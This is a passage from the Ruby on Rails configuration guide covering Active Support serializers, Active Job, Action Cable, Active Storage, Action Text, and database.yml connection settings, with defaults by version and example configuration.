Specifies the default serializer used by [`ActiveSupport::MessageEncryptor`](https://api.rubyonrails.org/v8.1.4/classes/ActiveSupport/MessageEncryptor.html) and [`ActiveSupport::MessageVerifier`](https://api.rubyonrails.org/v8.1.4/classes/ActiveSupport/MessageVerifier.html) instances. To make migrating between serializers easier, the provided serializers include a fallback mechanism to support multiple deserialization formats:

| Serializer                    | Serialize and deserialize    | Fallback deserialize                                |
| ----------------------------- | ---------------------------- | --------------------------------------------------- |
| `:marshal`                    | `Marshal`                    | `ActiveSupport::JSON`, `ActiveSupport::MessagePack` |
| `:json`                       | `ActiveSupport::JSON`        | `ActiveSupport::MessagePack`                        |
| `:json_allow_marshal`         | `ActiveSupport::JSON`        | `ActiveSupport::MessagePack`, `Marshal`             |
| `:message_pack`               | `ActiveSupport::MessagePack` | `ActiveSupport::JSON`                               |
| `:message_pack_allow_marshal` | `ActiveSupport::MessagePack` | `ActiveSupport::JSON`, `Marshal`                    |

`Marshal` is a potential vector for deserialization attacks in cases where a message signing secret has been leaked. *If possible, choose a serializer that does not support `Marshal`.*

The `:message_pack` and `:message_pack_allow_marshal` serializers support roundtripping some Ruby types that are not supported by JSON, such as `Symbol`. They can also provide improved performance and smaller payload sizes. However, they require the [`msgpack` gem](https://rubygems.org/gems/msgpack).

Each of the above serializers will emit a [`message_serializer_fallback.active_support`](active_support_instrumentation.html#message-serializer-fallback-active-support) event notification when they fall back to an alternate deserialization format, allowing you to track how often such fallbacks occur.

Alternatively, you can specify any serializer object that responds to `dump` and `load` methods. For example:

```
config.active_support.message_serializer = YAML
```

The default value depends on the `config.load_defaults` target version:

| Starting with version | The default value is  |
| --------------------- | --------------------- |
| (original)            | `:marshal`            |
| 7.1                   | `:json_allow_marshal` |

#### [3.14.10. `config.active_support.use_message_serializer_for_metadata`](#config-active-support-use-message-serializer-for-metadata)

When `true`, enables a performance optimization that serializes message data and metadata together. This changes the message format, so messages serialized this way cannot be read by older (< 7.1) versions of Rails. However, messages that use the old format can still be read, regardless of whether this optimization is enabled.

The default value depends on the `config.load_defaults` target version:

| Starting with version | The default value is |
| --------------------- | -------------------- |
| (original)            | `false`              |
| 7.1                   | `true`               |

#### [3.14.11. `config.active_support.cache_format_version`](#config-active-support-cache-format-version)

Specifies which serialization format to use for the cache. Possible values are `7.0`, and `7.1`.

`7.0` serializes cache entries more efficiently.

`7.1` further improves efficiency, and allows expired and version-mismatched cache entries to be detected without deserializing their values. It also includes an optimization for bare string values such as view fragments.

All formats are backward and forward compatible, meaning cache entries written in one format can be read when using another format. This behavior makes it easy to migrate between formats without invalidating the entire cache.

The default value depends on the `config.load_defaults` target version:

| Starting with version | The default value is |
| --------------------- | -------------------- |
| 7.0                   | `7.0`                |
| 7.1                   | `7.1`                |

#### [3.14.12. `config.active_support.deprecation`](#config-active-support-deprecation)

Configures the behavior of deprecation warnings. See [`Deprecation::Behavior`](https://api.rubyonrails.org/v8.1.4/classes/ActiveSupport/Deprecation/Behavior.html#method-i-behavior-3D) for a description of the available options.

In the default generated `config/environments` files, this is set to `:log` for development and `:stderr` for test, and it is omitted for production in favor of [`config.active_support.report_deprecations`](#config-active-support-report-deprecations).

#### [3.14.13. `config.active_support.disallowed_deprecation`](#config-active-support-disallowed-deprecation)

Configures the behavior of disallowed deprecation warnings. See [`Deprecation::Behavior`](https://api.rubyonrails.org/v8.1.4/classes/ActiveSupport/Deprecation/Behavior.html#method-i-behavior-3D) for a description of the available options.

This option is intended for development and test. For production, favor [`config.active_support.report_deprecations`](#config-active-support-report-deprecations).

#### [3.14.14. `config.active_support.disallowed_deprecation_warnings`](#config-active-support-disallowed-deprecation-warnings)

Configures deprecation warnings that the Application considers disallowed. This allows, for example, specific deprecations to be treated as hard failures.

#### [3.14.15. `config.active_support.report_deprecations`](#config-active-support-report-deprecations)

When `false`, disables all deprecation warnings, including disallowed deprecations, from the [application’s deprecators](https://api.rubyonrails.org/v8.1.4/classes/Rails/Application.html#method-i-deprecators). This includes all the deprecations from Rails and other gems that may add their deprecator to the collection of deprecators, but may not prevent all deprecation warnings emitted from ActiveSupport::Deprecation.

In the default generated `config/environments` files, this is set to `false` for production.

#### [3.14.16. `config.active_support.isolation_level`](#config-active-support-isolation-level)

Configures the locality of most of Rails internal state. If you use a fiber based server or job processor (e.g. `falcon`), you should set it to `:fiber`. Otherwise it is best to use `:thread` locality. Defaults to `:thread`.

#### [3.14.17. `config.active_support.executor_around_test_case`](#config-active-support-executor-around-test-case)

Configure the test suite to call `Rails.application.executor.wrap` around test cases. This makes test cases behave closer to an actual request or job. Several features that are normally disabled in test, such as Active Record query cache and asynchronous queries will then be enabled.

The default value depends on the `config.load_defaults` target version:

| Starting with version | The default value is |
| --------------------- | -------------------- |
| (original)            | `false`              |
| 7.0                   | `true`               |

#### [3.14.18. `ActiveSupport::Logger.silencer`](#activesupport-logger-silencer)

Is set to `false` to disable the ability to silence logging in a block. The default is `true`.

#### [3.14.19. `ActiveSupport::Cache::Store.logger`](#activesupport-cache-store-logger)

Specifies the logger to use within cache store operations.

#### [3.14.20. `ActiveSupport.utc_to_local_returns_utc_offset_times`](#activesupport-utc-to-local-returns-utc-offset-times)

Configures [`ActiveSupport::TimeZone.utc_to_local`](https://api.rubyonrails.org/v8.1.4/classes/ActiveSupport/TimeZone.html#method-i-utc_to_local) to return a time with a UTC offset instead of a UTC time incorporating that offset.

The default value depends on the `config.load_defaults` target version:

| Starting with version | The default value is |
| --------------------- | -------------------- |
| (original)            | `false`              |
| 6.1                   | `true`               |

#### [3.14.21. `config.active_support.raise_on_invalid_cache_expiration_time`](#config-active-support-raise-on-invalid-cache-expiration-time)

Specifies whether an `ArgumentError` should be raised if `Rails.cache` [`fetch`](https://api.rubyonrails.org/v8.1.4/classes/ActiveSupport/Cache/Store.html#method-i-fetch) or [`write`](https://api.rubyonrails.org/v8.1.4/classes/ActiveSupport/Cache/Store.html#method-i-write) are given an invalid `expires_at` or `expires_in` time.

Options are `true` and `false`. If `false`, the exception will be reported as `handled` and logged instead.

The default value depends on the `config.load_defaults` target version:

| Starting with version | The default value is |
| --------------------- | -------------------- |
| (original)            | `false`              |
| 7.1                   | `true`               |

#### [3.14.22. `config.active_support.event_reporter_context_store`](#config-active-support-event-reporter-context-store)

Configures a custom context store for the Event Reporter. The context store is used to manage metadata that should be attached to every event emitted by the reporter.

By default, the Event Reporter uses `ActiveSupport::EventContext` which stores context in fiber-local storage.

To use a custom context store, set this config to a class that implements the context store interface:

```
# config/application.rb
config.active_support.event_reporter_context_store = CustomContextStore

class CustomContextStore
  class << self
    def context
      # Return the context hash
    end

    def set_context(context_hash)
      # Append context_hash to the existing context store
    end

    def clear
      # Clear the stored context
    end
  end
end
```

Defaults to `nil`, which means the default `ActiveSupport::EventContext` store is used.

#### [3.14.23. `config.active_support.escape_js_separators_in_json`](#config-active-support-escape-js-separators-in-json)

Specifies whether LINE SEPARATOR (U+2028) and PARAGRAPH SEPARATOR (U+2029) are escaped when generating JSON.

Historically these characters were not valid inside JavaScript literal strings but that changed in ECMAScript 2019. As such it's no longer a concern in modern browsers: <https://caniuse.com/mdn-javascript_builtins_json_json_superset>.

The default value depends on the `config.load_defaults` target version:

| Starting with version | The default value is |
| --------------------- | -------------------- |
| (original)            | `true`               |
| 8.1                   | `false`              |

### [3.15. Configuring Active Job](#configuring-active-job)

`config.active_job` provides the following configuration options:

#### [3.15.1. `config.active_job.queue_adapter`](#config-active-job-queue-adapter)

Sets the adapter for the queuing backend. The default adapter is `:async`. For an up-to-date list of built-in adapters see the [ActiveJob::QueueAdapters API documentation](https://api.rubyonrails.org/v8.1.4/classes/ActiveJob/QueueAdapters.html).

```
# Be sure to have the adapter's gem in your Gemfile
# and follow the adapter's specific installation
# and deployment instructions.
config.active_job.queue_adapter = :sidekiq
```

#### [3.15.2. `config.active_job.default_queue_name`](#config-active-job-default-queue-name)

Can be used to change the default queue name. By default this is `"default"`.

```
config.active_job.default_queue_name = :medium_priority
```

#### [3.15.3. `config.active_job.queue_name_prefix`](#config-active-job-queue-name-prefix)

Allows you to set an optional, non-blank, queue name prefix for all jobs. By default it is blank and not used.

The following configuration would queue the given job on the `production_high_priority` queue when run in production:

```
config.active_job.queue_name_prefix = Rails.env
```

```
class GuestsCleanupJob < ActiveJob::Base
  queue_as :high_priority
  #....
end
```

#### [3.15.4. `config.active_job.queue_name_delimiter`](#config-active-job-queue-name-delimiter)

Has a default value of `'_'`. If `queue_name_prefix` is set, then `queue_name_delimiter` joins the prefix and the non-prefixed queue name.

The following configuration would queue the provided job on the `video_server.low_priority` queue:

```
# prefix must be set for delimiter to be used
config.active_job.queue_name_prefix = "video_server"
config.active_job.queue_name_delimiter = "."
```

```
class EncoderJob < ActiveJob::Base
  queue_as :low_priority
  #....
end
```

#### [3.15.5. `config.active_job.logger`](#config-active-job-logger)

Accepts a logger conforming to the interface of Log4r or the default Ruby Logger class, which is then used to log information from Active Job. You can retrieve this logger by calling `logger` on either an Active Job class or an Active Job instance. Set to `nil` to disable logging.

#### [3.15.6. `config.active_job.custom_serializers`](#config-active-job-custom-serializers)

Allows to set custom argument serializers. Defaults to `[]`.

#### [3.15.7. `config.active_job.log_arguments`](#config-active-job-log-arguments)

Controls if the arguments of a job are logged. Defaults to `true`.

#### [3.15.8. `config.active_job.verbose_enqueue_logs`](#config-active-job-verbose-enqueue-logs)

Specifies if source locations of methods that enqueue background jobs should be logged below relevant enqueue log lines. By default, the flag is `true` in development and `false` in all other environments.

#### [3.15.9. `config.active_job.retry_jitter`](#config-active-job-retry-jitter)

Controls the amount of "jitter" (random variation) applied to the delay time calculated when retrying failed jobs.

The default value depends on the `config.load_defaults` target version:

| Starting with version | The default value is |
| --------------------- | -------------------- |
| (original)            | `0.0`                |
| 6.1                   | `0.15`               |

#### [3.15.10. `config.active_job.log_query_tags_around_perform`](#config-active-job-log-query-tags-around-perform)

Determines whether job context for query tags will be automatically updated via an `around_perform`. The default value is `true`.

### [3.16. Configuring Action Cable](#configuring-action-cable)

#### [3.16.1. `config.action_cable.url`](#config-action-cable-url)

Accepts a string for the URL for where you are hosting your Action Cable server. You would use this option if you are running Action Cable servers that are separated from your main application.

#### [3.16.2. `config.action_cable.mount_path`](#config-action-cable-mount-path)

Accepts a string for where to mount Action Cable, as part of the main server process. Defaults to `/cable`. You can set this as nil to not mount Action Cable as part of your normal Rails server.

You can find more detailed configuration options in the [Action Cable Overview](action_cable_overview.html#configuration).

#### [3.16.3. `config.action_cable.precompile_assets`](#config-action-cable-precompile-assets)

Determines whether the Action Cable assets should be added to the asset pipeline precompilation. It has no effect if Sprockets is not used. The default value is `true`.

#### [3.16.4. `config.action_cable.allow_same_origin_as_host`](#config-action-cable-allow-same-origin-as-host)

Determines whether an origin matching the cable server itself will be permitted. The default value is `true`.

Set to false to disable automatic access for same-origin requests, and strictly allow only the configured origins.

#### [3.16.5. `config.action_cable.allowed_request_origins`](#config-action-cable-allowed-request-origins)

Determines the request origins which will be accepted by the cable server. The default value is `/https?:\/\/localhost:\d+/` in the `development` environment.

### [3.17. Configuring Active Storage](#configuring-active-storage)

`config.active_storage` provides the following configuration options:

#### [3.17.1. `config.active_storage.variant_processor`](#config-active-storage-variant-processor)

Accepts a symbol `:mini_magick`, `:vips`, or `:disabled` specifying whether or not variant transformations and blob analysis will be performed with MiniMagick or ruby-vips.

The default value depends on the `config.load_defaults` target version:

| Starting with version | The default value is |
| --------------------- | -------------------- |
| (original)            | `:mini_magick`       |
| 7.0                   | `:vips`              |

#### [3.17.2. `config.active_storage.analyzers`](#config-active-storage-analyzers)

Accepts an array of classes indicating the analyzers available for Active Storage blobs. By default, this is defined as:

```
config.active_storage.analyzers = [
  ActiveStorage::Analyzer::ImageAnalyzer::Vips,
  ActiveStorage::Analyzer::ImageAnalyzer::ImageMagick,
  ActiveStorage::Analyzer::VideoAnalyzer,
  ActiveStorage::Analyzer::AudioAnalyzer
]
```

The image analyzers can extract width and height of an image blob; the video analyzer can extract width, height, duration, angle, aspect ratio, and presence/absence of video/audio channels of a video blob; the audio analyzer can extract duration and bit rate of an audio blob.

If you want to disable analyzers, you can set this to an empty array:

```
config.active_storage.analyzers = []
```

#### [3.17.3. `config.active_storage.previewers`](#config-active-storage-previewers)

Accepts an array of classes indicating the image previewers available in Active Storage blobs. By default, this is defined as:

```
config.active_storage.previewers = [ActiveStorage::Previewer::PopplerPDFPreviewer, ActiveStorage::Previewer::MuPDFPreviewer, ActiveStorage::Previewer::VideoPreviewer]
```

`PopplerPDFPreviewer` and `MuPDFPreviewer` can generate a thumbnail from the first page of a PDF blob; `VideoPreviewer` from the relevant frame of a video blob.

#### [3.17.4. `config.active_storage.paths`](#config-active-storage-paths)

Accepts a hash of options indicating the locations of previewer/analyzer commands. The default is `{}`, meaning the commands will be looked for in the default path. Can include any of these options:

* `:ffprobe` - The location of the ffprobe executable.
* `:mutool` - The location of the mutool executable.
* `:ffmpeg` - The location of the ffmpeg executable.

```
config.active_storage.paths[:ffprobe] = "/usr/local/bin/ffprobe"
```

#### [3.17.5. `config.active_storage.variable_content_types`](#config-active-storage-variable-content-types)

Accepts an array of strings indicating the content types that Active Storage can transform through the variant processor. By default, this is defined as:

```
config.active_storage.variable_content_types = %w(image/png image/gif image/jpeg image/tiff image/bmp image/vnd.adobe.photoshop image/vnd.microsoft.icon image/webp image/avif image/heic image/heif)
```

#### [3.17.6. `config.active_storage.web_image_content_types`](#config-active-storage-web-image-content-types)

Accepts an array of strings regarded as web image content types in which variants can be processed without being converted to the fallback PNG format. For example, if you want to use `AVIF` variants in your application you can add `image/avif` to this array.

The default value depends on the `config.load_defaults` target version:

| Starting with version | The default value is                            |
| --------------------- | ----------------------------------------------- |
| (original)            | `%w(image/png image/jpeg image/gif)`            |
| 7.2                   | `%w(image/png image/jpeg image/gif image/webp)` |

#### [3.17.7. `config.active_storage.content_types_to_serve_as_binary`](#config-active-storage-content-types-to-serve-as-binary)

Accepts an array of strings indicating the content types that Active Storage will always serve as an attachment, rather than inline. By default, this is defined as:

```
config.active_storage.content_types_to_serve_as_binary = %w(text/html image/svg+xml application/postscript application/x-shockwave-flash text/xml application/xml application/xhtml+xml application/mathml+xml text/cache-manifest)
```

#### [3.17.8. `config.active_storage.content_types_allowed_inline`](#config-active-storage-content-types-allowed-inline)

Accepts an array of strings indicating the content types that Active Storage allows to serve as inline. By default, this is defined as:

```
config.active_storage.content_types_allowed_inline = %w(image/webp image/avif image/png image/gif image/jpeg image/tiff image/vnd.adobe.photoshop image/vnd.microsoft.icon application/pdf)
```

#### [3.17.9. `config.active_storage.queues.analysis`](#config-active-storage-queues-analysis)

Accepts a symbol indicating the Active Job queue to use for analysis jobs. When this option is `nil`, analysis jobs are sent to the default Active Job queue (see [`config.active_job.default_queue_name`](#config-active-job-default-queue-name)).

The default value depends on the `config.load_defaults` target version:

| Starting with version | The default value is       |
| --------------------- | -------------------------- |
| 6.0                   | `:active_storage_analysis` |
| 6.1                   | `nil`                      |

#### [3.17.10. `config.active_storage.queues.mirror`](#config-active-storage-queues-mirror)

Accepts a symbol indicating the Active Job queue to use for direct upload mirroring jobs. When this option is `nil`, mirroring jobs are sent to the default Active Job queue (see [`config.active_job.default_queue_name`](#config-active-job-default-queue-name)). The default is `nil`.

#### [3.17.11. `config.active_storage.queues.preview_image`](#config-active-storage-queues-preview-image)

Accepts a symbol indicating the Active Job queue to use for preprocessing previews of images. When this option is `nil`, jobs are sent to the default Active Job queue (see [`config.active_job.default_queue_name`](#config-active-job-default-queue-name)). The default is `nil`.

#### [3.17.12. `config.active_storage.queues.purge`](#config-active-storage-queues-purge)

Accepts a symbol indicating the Active Job queue to use for purge jobs. When this option is `nil`, purge jobs are sent to the default Active Job queue (see [`config.active_job.default_queue_name`](#config-active-job-default-queue-name)).

The default value depends on the `config.load_defaults` target version:

| Starting with version | The default value is    |
| --------------------- | ----------------------- |
| 6.0                   | `:active_storage_purge` |
| 6.1                   | `nil`                   |

#### [3.17.13. `config.active_storage.queues.transform`](#config-active-storage-queues-transform)

Accepts a symbol indicating the Active Job queue to use for preprocessing variants. When this option is `nil`, jobs are sent to the default Active Job queue (see [`config.active_job.default_queue_name`](#config-active-job-default-queue-name)). The default is `nil`.

#### [3.17.14. `config.active_storage.logger`](#config-active-storage-logger)

Can be used to set the logger used by Active Storage. Accepts a logger conforming to the interface of Log4r or the default Ruby Logger class.

```
config.active_storage.logger = ActiveSupport::Logger.new(STDOUT)
```

#### [3.17.15. `config.active_storage.service_urls_expire_in`](#config-active-storage-service-urls-expire-in)

Determines the default expiry of URLs generated by:

* [`ActiveStorage::Blob#url`](https://api.rubyonrails.org/v8.1.4/classes/ActiveStorage/Blob.html#method-i-url)
* [`ActiveStorage::Blob#service_url_for_direct_upload`](https://api.rubyonrails.org/v8.1.4/classes/ActiveStorage/Blob.html#method-i-service_url_for_direct_upload)
* [`ActiveStorage::Preview#url`](https://api.rubyonrails.org/v8.1.4/classes/ActiveStorage/Preview.html#method-i-url)
* [`ActiveStorage::Variant#url`](https://api.rubyonrails.org/v8.1.4/classes/ActiveStorage/Variant.html#method-i-url)

The default is 5 minutes.

#### [3.17.16. `config.active_storage.urls_expire_in`](#config-active-storage-urls-expire-in)

Determines the default expiry of URLs in the Rails application generated by Active Storage. The default is nil.

#### [3.17.17. `config.active_storage.touch_attachment_records`](#config-active-storage-touch-attachment-records)

Directs ActiveStorage::Attachments to touch its corresponding record when updated. The default is true.

#### [3.17.18. `config.active_storage.routes_prefix`](#config-active-storage-routes-prefix)

Can be used to set the route prefix for the routes served by Active Storage. Accepts any value supported by `scope`, such as a string path prefix or a hash of routing options.

```
config.active_storage.routes_prefix = "/files"
```

For example, to serve the Active Storage routes from a specific subdomain:

```
config.active_storage.routes_prefix = { path: "/files", subdomain: "assets" }
```

The default is `/rails/active_storage`.

#### [3.17.19. `config.active_storage.track_variants`](#config-active-storage-track-variants)

Determines whether variants are recorded in the database.

The default value depends on the `config.load_defaults` target version:

| Starting with version | The default value is |
| --------------------- | -------------------- |
| (original)            | `false`              |
| 6.1                   | `true`               |

#### [3.17.20. `config.active_storage.draw_routes`](#config-active-storage-draw-routes)

Can be used to toggle Active Storage route generation. The default is `true`.

#### [3.17.21. `config.active_storage.resolve_model_to_route`](#config-active-storage-resolve-model-to-route)

Can be used to globally change how Active Storage files are delivered.

Allowed values are:

* `:rails_storage_redirect`: Redirect to signed, short-lived service URLs.
* `:rails_storage_proxy`: Proxy files by downloading them.

The default is `:rails_storage_redirect`.

#### [3.17.22. `config.active_storage.video_preview_arguments`](#config-active-storage-video-preview-arguments)

Can be used to alter the way ffmpeg generates video preview images.

The default value depends on the `config.load_defaults` target version:

| Starting with version | The default value is                                                                                                                                                                                                                                                                                                                                                                                                                |
| --------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| (original)            | `"-y -vframes 1 -f image2"`                                                                                                                                                                                                                                                                                                                                                                                                         |
| 7.0                   | `"-vf 'select=eq(n\\,0)+eq(key\\,1)+gt(scene\\,0.015)"`****1**** `+ ",loop=loop=-1:size=2,trim=start_frame=1'"`****2**** `+ " -frames:v 1 -f image2"` 1) Select the first video frame, plus keyframes, plus frames that meet the scene change threshold.
2) Use the first video frame as a fallback when no other frames meet the criteria by looping the first (one or) two selected frames, then dropping the first looped frame. |

#### [3.17.23. `config.active_storage.multiple_file_field_include_hidden`](#config-active-storage-multiple-file-field-include-hidden)

In Rails 7.1 and beyond, Active Storage `has_many_attached` relationships will default to *replacing* the current collection instead of *appending* to it. Thus to support submitting an *empty* collection, when `multiple_file_field_include_hidden` is `true`, the [`file_field`](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers/FormBuilder.html#method-i-file_field) helper will render an auxiliary hidden field, similar to the auxiliary field rendered by the [`checkbox`](https://api.rubyonrails.org/v8.1.4/classes/ActionView/Helpers/FormBuilder.html#method-i-checkbox) helper.

The default value depends on the `config.load_defaults` target version:

| Starting with version | The default value is |
| --------------------- | -------------------- |
| (original)            | `false`              |
| 7.0                   | `true`               |

#### [3.17.24. `config.active_storage.precompile_assets`](#config-active-storage-precompile-assets)

Determines whether the Active Storage assets should be added to the asset pipeline precompilation. It has no effect if Sprockets is not used. The default value is `true`.

#### [3.17.25. `config.active_storage.streaming_max_ranges`](#config-active-storage-streaming-max-ranges)

Defines how many ranges a byte range request may contain.

`ActiveStorage::Streaming` allows requesting partial resources using HTTP Range Requests, but that feature can be abused for denial of service attacks.

By default only a single range of byte is allowed, which allows for retries and the vast majority of use cases. If you need multiple byte range support, you can increase that setting.

| Starting with version | The default value is |
| --------------------- | -------------------- |
| (original)            | `1`                  |

### [3.18. Configuring Action Text](#configuring-action-text)

#### [3.18.1. `config.action_text.attachment_tag_name`](#config-action-text-attachment-tag-name)

Accepts a string for the HTML tag used to wrap attachments. Defaults to `"action-text-attachment"`.

#### [3.18.2. `config.action_text.sanitizer_vendor`](#config-action-text-sanitizer-vendor)

Configures the HTML sanitizer used by Action Text by setting `ActionText::ContentHelper.sanitizer` to an instance of the class returned from the vendor's `.safe_list_sanitizer` method. The default value depends on the `config.load_defaults` target version:

| Starting with version | The default value is                 | Which parses markup as |
| --------------------- | ------------------------------------ | ---------------------- |
| (original)            | `Rails::HTML4::Sanitizer`            | HTML4                  |
| 7.1                   | `Rails::HTML5::Sanitizer` (see NOTE) | HTML5                  |

`Rails::HTML5::Sanitizer` is not supported on JRuby, so on JRuby platforms Rails will fall back to `Rails::HTML4::Sanitizer`.

#### [3.18.3. `Regexp.timeout`](#regexp-timeout)

See Ruby's documentation for [`Regexp.timeout=`](https://docs.ruby-lang.org/en/master/Regexp.html#method-c-timeout-3D).

### [3.19. Configuring a Database](#configuring-a-database)

Just about every Rails application will interact with a database. You can connect to the database by setting an environment variable `ENV['DATABASE_URL']` or by using a configuration file called `config/database.yml`.

Using the `config/database.yml` file you can specify all the information needed to access your database:

```
development:
  adapter: postgresql
  database: blog_development
  pool: 5
```

This will connect to the database named `blog_development` using the `postgresql` adapter. This same information can be stored in a URL and provided via an environment variable like this:

```
ENV["DATABASE_URL"] # => "postgresql://localhost/blog_development?pool=5"
```

The `config/database.yml` file contains sections for three different environments in which Rails can run by default:

* The `development` environment is used on your development/local computer as you interact manually with the application.
* The `test` environment is used when running automated tests.
* The `production` environment is used when you deploy your application for the world to use.

If you wish, you can manually specify a URL inside of your `config/database.yml`

```
development:
  url: postgresql://localhost/blog_development?pool=5
```

The `config/database.yml` file can contain ERB tags `<%= %>`. Anything in the tags will be evaluated as Ruby code. You can use this to pull out data from an environment variable or to perform calculations to generate the needed connection information.

When using a `ENV['DATABASE_URL']` or a `url` key in your `config/database.yml` file, Rails allows mapping the protocol in the URL to a database adapter that can be configured from within the application. This allows the adapter to be configured without modifying the URL set in the deployment environment. See: [`config.active_record.protocol_adapters`](#config-active-record-protocol-adapters).

You don't have to update the database configurations manually. If you look at the options of the application generator, you will see that one of the options is named `--database`. This option allows you to choose an adapter from a list of the most used relational databases. You can even run the generator repeatedly: `cd .. && rails new blog --database=mysql`. When you confirm the overwriting of the `config/database.yml` file, your application will be configured for MySQL instead of SQLite. Detailed examples of the common database connections are below.

### [3.20. Connection Preference](#connection-preference)

Since there are two ways to configure your connection (using `config/database.yml` or using an environment variable) it is important to understand how they can interact.

If you have an empty `config/database.yml` file but your `ENV['DATABASE_URL']` is present, then Rails will connect to the database via your environment variable:

```
$ cat config/database.yml

$ echo $DATABASE_URL
postgresql://localhost/my_database
```

If you have a `config/database.yml` but no `ENV['DATABASE_URL']` then this file will be used to connect to your database:

```
$ cat config/database.yml
development:
  adapter: postgresql
  database: my_database
  host: localhost

$ echo $DATABASE_URL
```

If you have both `config/database.yml` and `ENV['DATABASE_URL']` set then Rails will merge the configuration together. To better understand this we must see some examples.

When duplicate connection information is provided the environment variable will take precedence:

```
$ cat config/database.yml
development:
  adapter: sqlite3
  database: NOT_my_database
  host: localhost

$ echo $DATABASE_URL
postgresql://localhost/my_database

$ bin/rails runner 'puts ActiveRecord::Base.configurations.inspect'
#<ActiveRecord::DatabaseConfigurations:0x00007fc8eab02880 @configurations=[
  #<ActiveRecord::DatabaseConfigurations::UrlConfig:0x00007fc8eab020b0
    @env_name="development", @spec_name="primary",
    @config={"adapter"=>"postgresql", "database"=>"my_database", "host"=>"localhost"}
    @url="postgresql://localhost/my_database">
  ]
```

Here the adapter, host, and database match the information in `ENV['DATABASE_URL']`.

If non-duplicate information is provided you will get all unique values, environment variable still takes precedence in cases of any conflicts.

```
$ cat config/database.yml
development:
  adapter: sqlite3
  pool: 5

$ echo $DATABASE_URL
postgresql://localhost/my_database

$ bin/rails runner 'puts ActiveRecord::Base.configurations.inspect'
#<ActiveRecord::DatabaseConfigurations:0x00007fc8eab02880 @configurations=[
  #<ActiveRecord::DatabaseConfigurations::UrlConfig:0x00007fc8eab020b0
    @env_name="development", @spec_name="primary",
    @config={"adapter"=>"postgresql", "database"=>"my_database", "host"=>"localhost", "pool"=>5}
    @url="postgresql://localhost/my_database">
  ]
```

Since pool is not in the `ENV['DATABASE_URL']` provided connection information its information is merged in. Since `adapter` is duplicate, the `ENV['DATABASE_URL']` connection information wins.

The only way to explicitly not use the connection information in `ENV['DATABASE_URL']` is to specify an explicit URL connection using the `"url"` sub key:

```
$ cat config/database.yml
development:
  url: sqlite3:NOT_my_database

$ echo $DATABASE_URL
postgresql://localhost/my_database

$ bin/rails runner 'puts ActiveRecord::Base.configurations.inspect'
#<ActiveRecord::DatabaseConfigurations:0x00007fc8eab02880 @configurations=[
  #<ActiveRecord::DatabaseConfigurations::UrlConfig:0x00007fc8eab020b0
    @env_name="development", @spec_name="primary",
    @config={"adapter"=>"sqlite3", "database"=>"NOT_my_database"}
    @url="sqlite3:NOT_my_database">
  ]
```

Here the connection information in `ENV['DATABASE_URL']` is ignored, note the different adapter and database name.

Since it is possible to embed ERB in your `config/database.yml` it is best practice to explicitly show you are using the `ENV['DATABASE_URL']` to connect to your database. This is especially useful in production since you should not commit secrets like your database password into your source control (such as Git).

```
$ cat config/database.yml
production:
  url: <%= ENV['DATABASE_URL'] %>
```

Now the behavior is clear, that we are only using the connection information in `ENV['DATABASE_URL']`.

#### [3.20.1. Configuring an SQLite3 Database](#configuring-an-sqlite3-database)

Rails comes with built-in support for [SQLite3](https://www.sqlite.org), which is a lightweight serverless database application. While Rails better configures SQLite for production workloads, a busy production environment may overload SQLite. Rails defaults to using an SQLite database when creating a new project because it is a zero configuration database that just works, but you can always change it later.

Here's the section of the default configuration file (`config/database.yml`) with connection information for the development environment:

```
development:
  adapter: sqlite3
  database: storage/development.sqlite3
  pool: 5
  timeout: 5000
```

[SQLite extensions](https://sqlite.org/loadext.html) are supported when using `sqlite3` gem v2.4.0 or later by configuring `extensions`:

```
development:
  adapter: sqlite3
  extensions:
    - SQLean::UUID                     # module name responding to `.to_path`
    - .sqlpkg/nalgeon/crypto/crypto.so # or a filesystem path
    - <%= AppExtensions.location %>    # or ruby code returning a path
```

Many useful features can be added to SQLite through extensions. You may wish to browse the [SQLite extension hub](https://sqlpkg.org/) or use gems like [`sqlpkg-ruby`](https://github.com/fractaledmind/sqlpkg-ruby) and [`sqlean-ruby`](https://github.com/flavorjones/sqlean-ruby) that simplify extension management.

Other configuration options are described in the [SQLite3Adapter documentation](https://api.rubyonrails.org/v8.1.4/classes/ActiveRecord/ConnectionAdapters/SQLite3Adapter.html).

#### [3.20.2. Configuring a MySQL or MariaDB Database](#configuring-a-mysql-or-mariadb-database)

If you choose to use MySQL or MariaDB instead of the shipped SQLite3 database, your `config/database.yml` will look a little different. Here's the development section:

```
development:
  adapter: mysql2
  encoding: utf8mb4
  database: blog_development
  pool: 5
  username: root
  password:
  socket: /tmp/mysql.sock
```

If your development database has a root user with an empty password, this configuration should work for you. Otherwise, change the username and password in the `development` section as appropriate.

If your MySQL version is 5.5 or 5.6 and want to use the `utf8mb4` character set by default, please configure your MySQL server to support the longer key prefix by enabling `innodb_large_prefix` system variable.

Advisory Locks are enabled by default on MySQL and are used to make database migrations concurrent safe. You can disable advisory locks by setting `advisory_locks` to `false`:

```
production:
  adapter: mysql2
  advisory_locks: false
```

#### [3.20.3. Configuring a PostgreSQL Database](#configuring-a-postgresql-database)

If you choose to use PostgreSQL, your `config/database.yml` will be customized to use PostgreSQL databases:

```
development:
  adapter: postgresql
  encoding: unicode
  database: blog_development
  pool: 5
```

By default Active Record uses a database feature called advisory locks. You might need to disable this feature if you're using an external connection pooler like PgBouncer:

```
production:
  adapter: postgresql
  advisory_locks: false
```

If enabled, Active Record will create up to `1000` prepared statements per database connection by default. To modify this behavior you can set `statement_limit` to a different value:

```
production:
  adapter: postgresql
  statement_limit: 200
```

The more prepared statements in use: the more memory your database will require. If your PostgreSQL database is hitting memory limits, try lowering `statement_limit` or disabling prepared statements.

#### [3.20.4. Configuring an SQLite3 Database for JRuby Platform](#configuring-an-sqlite3-database-for-jruby-platform)

If you choose to use SQLite3 and are using JRuby, your `config/database.yml` will look a little different. Here's the development section:

```
development:
  adapter: jdbcsqlite3
  database: storage/development.sqlite3
```

#### [3.20.5. Configuring a MySQL or MariaDB Database for JRuby Platform](#configuring-a-mysql-or-mariadb-database-for-jruby-platform)

If you choose to use MySQL or MariaDB and are using JRuby, your `config/database.yml` will look a little different. Here's the development section:

```
development:
  adapter: jdbcmysql
  database: blog_development
  username: root
  password:
```

#### [3.20.6. Configuring a PostgreSQL Database for JRuby Platform](#configuring-a-postgresql-database-for-jruby-platform)

If you choose to use PostgreSQL and are using JRuby, your `config/database.yml` will look a little different. Here's the development section:

```
development:
  adapter: jdbcpostgresql
  encoding: unicode
